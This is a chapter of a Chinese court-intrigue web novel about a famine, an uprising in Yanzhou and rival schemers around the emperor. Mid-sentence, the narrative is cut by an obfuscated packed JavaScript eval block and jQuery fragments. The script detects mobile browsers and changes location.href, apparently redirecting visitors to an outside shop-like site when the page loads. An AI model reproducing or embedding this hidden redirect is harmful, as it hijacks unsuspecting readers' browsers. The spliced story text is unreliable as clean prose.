夜色如墨,浓浓地浸染了整片天空,似乎要滴下几滴浓郁的带着苦香的墨汁来。
无星,无夜,无风,无雪。算得上是再好不过的一个夜晚了。
窗外有婴孩在嚎啕大哭,似乎是一群嗷嗷待哺的狼崽,哭喊得夜色都带着几分渗人的可怖来。
屋内人垂下眼皮,静静拨弄着晃动的烛心,火苗微弱地摇摆着,几乎快要灭了。
“小姐,”从善掩上房门,“外边是一些带着婴孩的女人,多日未进粮米,奶水枯竭……”
闻言,拨烛火的手指微微一顿:“挑一个落单的,带进来。”
“这……怕是会乱了——”
“落单的,只要孩子,不要母亲,”一双凤眼掀起,火光跳跃,却扰不乱瞳孔里的淡漠,“人丢乱葬岗,还用我教你吗?”
耳边传来一声金属碰撞的声响,桌上的匕首被人拿走了。李慎仪又垂下眼皮,若无其事地吹了吹手上的木棍,拿起一旁的剪子。
“咔擦”一声,一截芯子利索地断开,浮在一滩几近凝固的灯油上。
几日来,平甘的百姓愈发骚动,里边煽风点火的人她已经盯上了几个,但却还没有真正起义的动静。
也不知陆昭宁那边会不会先露了马脚。
“吱呀”一声,门又开了。从善做事向来是很利索的,也不枉他从小跟着自己。
她终于起了身,迈着步子走了过去。那不知几月大的婴孩正躺在男子的臂弯里,似乎怕吵到她,嘴唇被一只大手死死捂着,呜咽声尽数吞入腹中。
“小家伙,”她伸出手,拨弄两下那张枯黄瘦削的脸蛋,“放开他。”
从善放开手,婴孩的声音立马就泄了出来,“呜呜哇哇”的要将屋顶都掀开去。
李慎仪皱皱眉,收回逗弄的手,转过身去。
“给他弄些能吃的,别死了,离开时带回京都。”
*
苍白的天空中拂过几片缟素的云,但无论如何,都是个值得庆祝的日子。阿石哥带着丘洛的百姓占领了县衙,朱嶂连夜逃出城外,消息很快便会传到燕州了。
百姓们查抄了朱嶂和另外几个官员的府邸,大大小小翻出了四百石的粮米。正安庙再一次煮起了粥饭,只是比起先前稠上了许多。
当然,这些粮食都是陆昭宁分批运送进去的。
此刻,她正在桂允家的地下室,看着桂允给莹娘诊脉。
陆晏听不知用了什么法子,让桂允同意将莹娘留在这儿,但几人都没功夫照看她,地下室又潮湿,几日来,她便已经染了风寒。
“咳,咳……”莹娘眯着眼,浑身都在发烫,“你们……要杀要剐……”
“我不会杀你,只会把你交上去。”
碍于桂允还在,陆昭宁此话说得隐晦。长歌班传来消息,茗山已经死了。他们作为李泓吟的线人,犯了这么大的事,总得留一个进京都去交代。
“不过,你们同他们究竟有多大的仇?”
朱嶂他将该做的都做了,只不过碍于上级辖制,丘洛才没能往外通消息。如果不是莹娘的误导,陆昭宁可能真以为是他瞒着上边。
“他该死。”莹娘啐出一口,整张脸都扭曲在一起,似乎有着什么滔天的大恨。
见她不愿意说,陆昭宁也懒得多问,起身想要离开。
“等等,茗山,他怎么样了?”
陆昭宁回过头,看着她发红的脸色,刚想开口,却被桂允按了下去。
“帮我去拿些干净的稻草来。”她说。
陆昭宁点点头。
“小姐,这是长歌班送来的消息。”
一共是两张纸条,陆昭宁接过。一张是燕州来的,朱嶂到了,王介已经派兵了。
至于派兵是做什么的……陆昭宁冷笑一声。
将朱嶂派到王介身边做间客,多少是有些冒险的。但她混在阿石哥身边,借着当初发现县衙藏粮一事,将朱嶂的家里人留了下来。
对方贪生怕死,自然也知道轻重。
还有一张……陆昭宁迅速扫过,借着药炉的火烧了去。
桂允没多久便上来了。
“要留她一条命是无碍的,”她喝了口水,眼睛清清明明的,但似乎还有着几缕忧虑,“只是她……身子不大好。”
“活着就行。”
陆昭宁没什么管她的心思。毕竟以她这种欺君之罪,到了京都,定然是留不了脑袋的。
她还险些让丘洛这么多百姓活活饿死。
对于一场雪灾而言,一时的好天气是带不了什么好转的,更何况这天气说变就变。
第二日,天空就倏然暗沉了下去,像是半亮不亮的晨起时分。
阿石哥派人来请了陆昭宁好几次。这些见色起意的喽啰,陆昭宁本不想搭理,但一想到朱嶂的来信,还是过去了。
一坐下,对方便上来了茶水。虽然是在闲谈,对方却总往外边张望着,面色带着几分急切,似乎在等待些什么人。
陆昭宁了然,看来今天就该到了。
“虞娘姑娘。”阿石哥抖着手中的茶杯,他看起来像是常年喝酒的,但这儿毕竟没那个条件,因此只握上了陈年老茶,姿势还颇有几分豪放。
“嗯?”
“我也不兜圈子了,说得直些,我阿石今儿个瞧上你了,跟着我,不说有多富贵,但吃喝绝对不愁,以后说不准还能当个夫人,你要是愿意,咱们今儿个就能把堂拜了。”
“咳咳……”
陆昭宁一呛,险些把口里的茶全喷出来。
对方知道自己这头头的位置当不了多久,说得愈发急切了:“我虽然是个粗人,但必然会对你好的——”
“你瞧上我什么了呢?”
“姑娘……人长得漂亮,性子也爽快,对我的胃口。”他黝黑的脸上浮起两坨醉红,不好意思地瞥过了眼。
“是吗?”陆昭宁转着手中的茶杯,顺着他的眼角又瞥了一眼堂外。
“绝对真心,姑娘若跟了我,我就守着你一个人过日子。”
陆昭宁迷惑地摸了摸鼻尖,自己虽然继承了几分姜鸾琴的美貌,但也没到能将人迷成这个地步的样子。
“姑娘——”
“大哥!城外来了好多人马,说是燕州的兵!”
阿石哥似乎无声地叹了口气,朝陆昭宁摆了摆手:“虞娘姑娘请回吧……”
陆昭宁点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717413|176654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点头,走到县衙外,却又从外墙边翻了进来。
这阿石哥果然是王介的人,收到官兵来了的消息,竟也不急,只传来了先前那两个一唱一和的粗嗓子,躲在里边,美名其曰“商议战术”。
一个时辰后,丘洛封了大半个月的城门终于开了。
阿石哥带着人跪在城门口,诉说丘洛百姓挨饿受冻的不易,矛头却越过朱嶂,直指当今圣上目无百姓,昏聩无能。
燕州将领向林柏闻之,怒斥圣上杀忠臣、废王法,陷天下百姓于水火之中,又称先皇的余美人诞下一子,为防小人迫害,托付于燕州刺史王介处。
自此,燕州反。
“这向林柏又是什么人?”
“小姐,”云黛的脸色微微发白,“这向林柏乃王介妻弟,说起来,这王介之妻,同小姐的舅母,是姊妹……”
陆昭宁皱紧眉头,想了许久,方才记起似乎确有这么个人来。
似乎是陆晏听生辰那日来的,还带着个表哥……叫什么来着?
她懒得为难自己,但想到自己那官至户部尚书的外公,不免蹙紧了眉。
王介打造兵器,所需的钱财必定不少,但燕州向来也不是富庶之地,怎么可能凭借一州之力……
她那外公真这般头脑不清楚,干出了造反这等事?
况且余美人那孩子早胎死腹中了,李泓吟怎么可能还留给他们。
“户部近些年的开支如何?”
“似乎……”云黛张了张嘴,又顿住了,“小姐,这等大事,云黛怎么知道……”
陆昭宁摸了摸鼻尖,云黛确实聪颖,但自己也不能真觉得她无所不知了。
“给陛下去封信。”
这种事情,李泓吟查起来自然比她要快许多。
北风猛然卷了过来,城门外的白雪柳絮似的翻飞,盖上浩浩荡荡的马蹄印,一切都了无痕迹。
*
燕州的动乱被捂得严实,直到整个燕州几乎被蚕食掉,方才传到了京都。
此时距离李泓吟收到陆昭宁的第二封信已经五日了。
她确实着手查了姜琛,以及向家一切有所牵连的人。
至于结果……她看着手上的密报,冷笑一声。
“陛下,”薛逐清接过外边的来信,毕恭毕敬地呈上来,“延庆公主的消息。”
李泓吟微微颔首,接过薛逐清将将拆出的信纸。
半盏茶的功夫,她折起信纸,轻笑一声,递给薛逐清:“你看看。”
薛逐清躬身接过信纸,展开来,眼神飞速瞥过,了然于心。
“你觉得如何?”
薛逐清微微垂眸:“照目前看来,延庆公主更胜一筹。”
“已经快要结束了,”李泓吟又摸上密报,指尖扫过一个人名,轻轻点了点,“李慎仪身为公主,所受的教育、所接触的人才,都是天下之典范,以她的人脉与能力,能将证据一一查出来,倒也在我意料之中。”
薛逐清低头,附和一声:“接下来——”
“让陆晏听动手吧。”李泓吟轻轻呼出一口气,眼神带有几分凛然的杀意。
“既然他溜过去了,也别白费一场功夫。”